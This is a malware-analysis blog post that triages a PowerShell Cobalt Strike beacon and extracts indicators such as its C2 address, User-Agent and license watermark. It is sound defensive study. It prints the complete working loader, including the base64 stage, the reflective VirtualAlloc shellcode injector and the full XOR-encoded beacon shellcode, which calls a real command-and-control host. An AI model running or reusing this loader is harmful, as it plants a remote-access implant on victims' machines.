Post

Inspecting a PowerShell Cobalt Strike Beacon

In this post I want to take a look at a PowerShell-based Cobalt Strike beacon that appeared on MalwareBazaar. This particular beacon is representative of most PowerShell Cobalt Strike activity I see in the wild during my day job. The beacons often show up as service persistence during incidents or during other post-exploitation activity. If you want to follow along at home, the sample I’m using is here:

https://bazaar.abuse.ch/sample/6881531ab756d62bdb0c3279040a5cbe92f9adfeccb201cca85b7d3cff7158d3/

Triaging the File

Just like with other files, let’s approach with caution and verify the file is actually PowerShell. We can use file and head to do this.

1
2
3
4
5
6
7
8
remnux@remnux:~/cases/cobaltstrike$ file payload.ps1 
payload.ps1: ASCII text, with very long lines

remnux@remnux:~/cases/cobaltstrike$ head -c 100 payload.ps1 
Set-StrictMode -Version 2

$DoIt = @'
ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX2

We definitely have some PowerShell here. The cmdlet Set-StrictMode is a PowerShell feature used to enforce “scripting best practices.” In addition, the @' signals the use of a “here-string”, a string that may use multiple quotation mark literals and multiple lines of text. Now that we have a grasp of the file type, let’s take a look at the contents.

Inspecting the File Contents

I personally love VSCode for inspecting code files, I know others typically get along with Sublime Editor as well. In this sample, we can observe:

1
2
3
4
5
6
7
8
9
10
11
12
Set-StrictMode -Version 2

$DoIt = @'
ZnVuY3Rpb24gZnVuY19nZXRfcHJvY19hZGRyZXNzIHsKCVBhcmFtICgkdmFyX21vZHVsZSwgJHZhcl9wcm9jZWR1cmUpCQkKCSR2YXJfdW5zYWZlX25hdGl2ZV9tZXRob2RzID0gKFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkdldEFzc2VtYmxpZXMoKSB8IFdoZXJlLU9iamVjdCB7ICRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgnXFwnKVstMV0uRXF1YWxzKCdTeXN0ZW0uZGxsJykgfSkuR2V0VHlwZSgnTWljcm9zb2Z0LldpbjMyLlVuc2FmZU5hdGl2ZU1ldGhvZHMnKQoJJHZhcl9ncGEgPSAkdmFyX3Vuc2FmZV9uYXRpdmVfbWV0aG9kcy5HZXRNZXRob2QoJ0dldFByb2NBZGRyZXNzJywgW1R5cGVbXV0gQCgnU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZicsICdzdHJpbmcnKSkKCXJldHVybiAkdmFyX2dwYS5JbnZva2UoJG51bGwsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdKE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigoTmV3LU9iamVjdCBJbnRQdHIpLCAoJHZhcl91bnNhZmVfbmF0aXZlX21ldGhvZHMuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKSkuSW52b2tlKCRudWxsLCBAKCR2YXJfbW9kdWxlKSkpKSwgJHZhcl9wcm9jZWR1cmUpKQp9CgpmdW5jdGlvbiBmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIHsKCVBhcmFtICgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSAkdmFyX3BhcmFtZXRlcnMsCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEpXSBbVHlwZV0gJHZhcl9yZXR1cm5fdHlwZSA9IFtWb2lkXQoJKQoKCSR2YXJfdHlwZV9idWlsZGVyID0gW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgnUmVmbGVjdGVkRGVsZWdhdGUnKSksIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikuRGVmaW5lRHluYW1pY01vZHVsZSgnSW5NZW1vcnlNb2R1bGUnLCAkZmFsc2UpLkRlZmluZVR5cGUoJ015RGVsZWdhdGVUeXBlJywgJ0NsYXNzLCBQdWJsaWMsIFNlYWxlZCwgQW5zaUNsYXNzLCBBdXRvQ2xhc3MnLCBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXSkKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZUNvbnN0cnVjdG9yKCdSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYycsIFtTeXN0ZW0uUmVmbGVjdGlvbi5DYWxsaW5nQ29udmVudGlvbnNdOjpTdGFuZGFyZCwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCSR2YXJfdHlwZV9idWlsZGVyLkRlZmluZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywgJHZhcl9yZXR1cm5fdHlwZSwgJHZhcl9wYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCdSdW50aW1lLCBNYW5hZ2VkJykKCglyZXR1cm4gJHZhcl90eXBlX2J1aWxkZXIuQ3JlYXRlVHlwZSgpCn0KCltCeXRlW11dJHZhcl9jb2RlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnMzh1cUl5TWpRNnJHRXZGSHFIRVRxSEV2cUhFM3FGRUxMSlJwQlJMY0V1T1BIMEpmSVE4RDR1d3VJdVRCMDNGMHFIRXpxR0VmSXZPb1kxdW00MWRwSXZOenFHczdxSHNESXZEQUgycW9GNmdpOVJMY0V1T1A0dXd1SXVRYncxYlhJRjdiR0Y0SFZzRjdxSHNISXZCRnFDOW9xSHMvSXZDb0o2Z2k4NnBuQndkNGVFSjZlWExjdzN0OGVhZ3h5S1YrUzAxR1Z5TkxWRXBOU25kTGIxUUZKTnoyRXR4MGRIUjBkRXNaZFZxRTNQYktweU1qSTNnUzZuSnlTU0J5Y2t1d1BDTWpjSE5MZEtxODVkejJ5Rk40RXZGeFN5TWhZNmR4Y1hGd2NYTkx5SFlOR056MnF1V2c0SE1TM0hSMFNkeHdkVXNPSlR0WTNQYW00eXluNENJakl4TGNwdFZYSjZyYXlDcExpZWJCZnR6MnF1SkxaZ0o5RXR6MkV0eDBTU1J5ZFhOTGxIVERLTnoybkNNTUl5TWE1RmVVRXR6S3NpSWpJOHJxSWlNank2amMzTndNVVZOQUl4d2tEMnZhVVlpUVVVbGlNejlqdXpUellBNkYwbzE4K0J5VzJNMU5sdzA3Y0JxUmEyZ3F5Mm5DWEZacGVJWGU3QnowK09uZ0NPNHQwbXdCVHFyRTU3cnloTHY3WjJrOGhaRzBJMnRNVUZjWkEweFdWMDlNVEVnTlQwcFZSZzFBVEU0dUtXSkFRRVpUVnhrRENRd0pMaWwyVUVaUkRtSkVSazFYR1FOdVRGbEtUMDlDREJZTkV3TUxkRXBOUjB4VVVBTnRkd01WRFJJS0EySlRVMDlHZEVaQmFFcFhEQllRRkEwUUZRTUxhR3QzYm04UEEwOUtTRVlEWkVaQVNFd0tMaWtqNGZpdWVPdVlsenRONFpmWnpLQkJqaE5yNmZGUmVBeWk4TG81NEVDSnZOc3plYlJnb0JZd3AxUTNXbENtSm5qZWkyTW5JQ1BlZ1JGR3ZpNnlRZzBxdXczb0kxeWZFTXNUektLVi9OaEg0THdGYVBYODlLQXJ1QzR5ZUJCV0pxODJLN0YvTUtoekd0Y2wvSGF6ZU1CYUh2ZFRheDlZdFVORGRqazZUNVlvc0JhdFlxMm51T09ONmI0amN4eS9uQnQ5dlE4aHFTQkx5RkYyY2NJNkI2NTUxUkpNSEF3d25tVzMrOTFHa2daWmFGZlJxOWJucVVaME5pTkwwNWFCZGR6MlNXTkxJek1qSTBzakkyTWpkRXQ3aDNERzNQYXdtaU1qSXlNaStuSndxc1IwU3lNREl5TndkVXN4dGFyQjNQYW00MWZscUNRaTRLYmpWc1o3NE11SzN0emNGeFFORVJjUkRSSVZGdzBRRUNOeUtweE8nKQoKZm9yICgkeCA9IDA7ICR4IC1sdCAkdmFyX2NvZGUuQ291bnQ7ICR4KyspIHsKCSR2YXJfY29kZVskeF0gPSAkdmFyX2NvZGVbJHhdIC1ieG9yIDM1Cn0KCiR2YXJfdmEgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigoZnVuY19nZXRfcHJvY19hZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsQWxsb2MpLCAoZnVuY19nZXRfZGVsZWdhdGVfdHlwZSBAKFtJbnRQdHJdLCBbVUludDMyXSwgW1VJbnQzMl0sIFtVSW50MzJdKSAoW0ludFB0cl0pKSkKJHZhcl9idWZmZXIgPSAkdmFyX3ZhLkludm9rZShbSW50UHRyXTo6WmVybywgJHZhcl9jb2RlLkxlbmd0aCwgMHgzMDAwLCAweDQwKQpbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpDb3B5KCR2YXJfY29kZSwgMCwgJHZhcl9idWZmZXIsICR2YXJfY29kZS5sZW5ndGgpCgokdmFyX3J1bm1lID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJHZhcl9idWZmZXIsIChmdW5jX2dldF9kZWxlZ2F0ZV90eXBlIEAoW0ludFB0cl0pIChbVm9pZF0pKSkKJHZhcl9ydW5tZS5JbnZva2UoW0ludFB0cl06Olplcm8p
'@
$aa1234 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($DoIt))
If ([IntPtr]::size -eq 8) {
	start-job { param($a) IEX $a } -RunAs32 -Argument $aa1234 | wait-job | Receive-Job
}
else {
	IEX $aa1234
}

We can see the contents of $DoIt contain a decently-sized chunk of base64 text, but it’s likely not big enough to be a complete Windows EXE. The contents of the base64 string are decoded, converted to UTF-8 and then executed using a combination of Start-Job and Invoke-Expression commands.

To get our next step, let’s decode the base64 string manually using base64 -d. I’ve gone ahead and included the decoded code here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function func_get_proc_address {
	Param ($var_module, $var_procedure)		
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckuwPCMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMUVNAIxwkD2vaUYiQUUliMz9juzTzYA6F0o18+ByW2M1Nlw07cBqRa2gqy2nCXFZpeIXe7Bz0+OngCO4t0mwBTqrE57ryhLv7Z2k8hZG0I2tMUFcZA0xWV09MTEgNT0pVRg1ATE4uKWJAQEZTVxkDCQwJLil2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLdEpNR0xUUANtdwMVDRIKA2JTU09GdEZBaEpXDBYQFA0QFQMLaGt3bm8PA09KSEYDZEZASEwKLikj4fiueOuYlztN4ZfZzKBBjhNr6fFReAyi8Lo54ECJvNszebRgoBYwp1Q3WlCmJnjei2MnICPegRFGvi6yQg0quw3oI1yfEMsTzKKV/NhH4LwFaPX89KAruC4yeBBWJq82K7F/MKhzGtcl/HazeMBaHvdTax9YtUNDdjk6T5YosBatYq2nuOON6b4jcxy/nBt9vQ8hqSBLyFF2ccI6B6551RJMHAwwnmW3+91GkgZZaFfRq9bnqUZ0NiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcFxQNERcRDRIVFw0QECNyKpxO')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))

There’s a LOT to unpack here and wrap our brains around. To keep this post short and sweet, there are two portions to focus upon:

  • The contents of $var_code
  • The chunk of code containing $var_code[$x] = $var_code[$x] -bxor 35

Suffice to say, the rest of the code is overhead required to inject shellcode reflectively into the memory space of the PowerShell process executing the script. If you’re curious about those portions, take a look into these keywords:

  • GetProcAddress
  • InMemoryModule
  • ReflectedDelegate

Decoding the Shellcode

The $var_code variable contains Cobalt Strike beacon shellcode that was XOR’d with the value 35 before being base64 encoded. We can decode all this PowerShell on any platform. I’m using the command pwsh to do this on REMnux.

1
2
3
4
5
6
PS /home/remnux/cases/cobaltstrike> [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckuwPCMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMUVNAIxwkD2vaUYiQUUliMz9juzTzYA6F0o18+ByW2M1Nlw07cBqRa2gqy2nCXFZpeIXe7Bz0+OngCO4t0mwBTqrE57ryhLv7Z2k8hZG0I2tMUFcZA0xWV09MTEgNT0pVRg1ATE4uKWJAQEZTVxkDCQwJLil2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLdEpNR0xUUANtdwMVDRIKA2JTU09GdEZBaEpXDBYQFA0QFQMLaGt3bm8PA09KSEYDZEZASEwKLikj4fiueOuYlztN4ZfZzKBBjhNr6fFReAyi8Lo54ECJvNszebRgoBYwp1Q3WlCmJnjei2MnICPegRFGvi6yQg0quw3oI1yfEMsTzKKV/NhH4LwFaPX89KAruC4yeBBWJq82K7F/MKhzGtcl/HazeMBaHvdTax9YtUNDdjk6T5YosBatYq2nuOON6b4jcxy/nBt9vQ8hqSBLyFF2ccI6B6551RJMHAwwnmW3+91GkgZZaFfRq9bnqUZ0NiNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcFxQNERcRDRIVFw0QECNyKpxO')

PS /home/remnux/cases/cobaltstrike> for ($x = 0; $x -lt $var_code.Count; $x++) {
>> $var_code[$x] = $var_code[$x] -bxor 35

PS /home/remnux/cases/cobaltstrike> Set-Content -Path ./shellcode.bin -Value $var_code -AsByteStream

Now we can take a look at the shellcode.bin file to get indicators. Also, the XOR with 35 is an indicator that the beacon is Cobalt Strike and not Metasploit or similar.

Getting Indicators from the Shellcode

Let’s verify we have some functioning shellcode. We can do this with capa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
remnux@remnux:~/cases/cobaltstrike$ capa -f sc32 shellcode.bin 

+------------------------+------------------------------------------------------------------+
| md5                    | 63603bb6854a022e997a06fe7220a220                                 |
| sha1                   | ce72e661393227a1816e43159139860660118ccb                         |
| sha256                 | 0a0dddca72464f3baa600be64e9f7da9c0cbe1126e8e713d0c9dba6ed231234a |
| path                   | shellcode.bin                                                    |
+------------------------+------------------------------------------------------------------+

+------------------------+------------------------------------------------------------------+
| ATT&CK Tactic          | ATT&CK Technique                                                 |
|------------------------+------------------------------------------------------------------|
| DEFENSE EVASION        | Virtualization/Sandbox Evasion::System Checks T1497.001          |
| EXECUTION              | Shared Modules:: T1129                                           |
+------------------------+------------------------------------------------------------------+

+-----------------------------+-------------------------------------------------------------+
| MBC Objective               | MBC Behavior                                                |
|-----------------------------+-------------------------------------------------------------|
| ANTI-BEHAVIORAL ANALYSIS    | Virtual Machine Detection::Instruction Testing [B0009.029]  |
+-----------------------------+-------------------------------------------------------------+

+------------------------------------------------------+------------------------------------+
| CAPABILITY                                           | NAMESPACE                          |
|------------------------------------------------------+------------------------------------|
| execute anti-VM instructions                         | anti-analysis/anti-vm/vm-detection |
| access PEB ldr_data                                  | linking/runtime-linking            |
| parse PE exports                                     | load-code/pe                       |
+------------------------------------------------------+------------------------------------+

We definitely have some shellcode functionality here. The important part for me is the part about access PEB ldr data. This capability refers to the ability of the shellcode to resolve imports so it can use functions from DLLs. Shellcode doesn’t have an import table like standard Windows EXEs do, so it has to go the long way around to find all its needed functions.

Since we’re pretty sure this is a Cobalt Strike we can get further indicators using a couple tools. The first and simplest is strings.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
remnux@remnux:~/cases/cobaltstrike$ strings shellcode.bin 
;}$u
D$$[[aYZQ
]hnet
hwiniThLw&
WWWWWh:Vy
SPhW
RRRSRPh
SVh
hE!^1
QVPh
/rpc
Host: outlook.live.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)
pH<{
1o?/
%zKt
47.242.164[.]33

We can see some elements in the strings that could appear in HTTP traffic. These details are:

  • 47.242.164[.]33/rpc is likely the command and control address
  • User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) is a HTTP User-Agent string
  • Host: outlook.live.com and Accept: */* are HTTP header values

Another good way to glean indicators is using 1768.py, a tool specifically designed to pull Cobalt Strike configuration details from beacons.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
remnux@remnux:~/cases/cobaltstrike$ 1768.py --raw shellcode.bin 
File: shellcode.bin
Probably found shellcode:
Parameter: 778 b'47.242.164.33'
license-id: 792 1359593325
push      :   190       8083 b'h\x93\x1f\x00\x00'
push      :   716       4096 b'h\x00\x10\x00\x00'
push      :   747       8192 b'h\x00 \x00\x00'
String: 440 b'User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)'
00000000: FC E8 89 00 00 00 60 89  E5 31 D2 64 8B 52 30 8B  ......`..1.d.R0.
00000010: 52 0C 8B 52 14 8B 72 28  0F B7 4A 26 31 FF 31 C0  R..R..r(..J&1.1.
00000020: AC 3C 61 7C 02 2C 20 C1  CF 0D 01 C7 E2 F0 52 57  .<a|., .......RW
00000030: 8B 52 10 8B 42 3C 01 D0  8B 40 78 85 C0 74 4A 01  .R..B<...@x..tJ.

...

We have a little confirmation on indicators here, and we also got an additional one: a license ID. Cobalt Strike beacons are supposed to contain watermarks/license IDs that allow analysts to track a beacon back to one particular licensee. In this case, we see the value 1359593325. This value has been seen with loads of different activity in recent years from different groups.

And that’s it for this post! If you’ve never seen a Cobalt Strike beacon before, this is probably the simplest version I’ve seen in a long time. Thank you for reading!

This post is licensed under CC BY 4.0 by the author.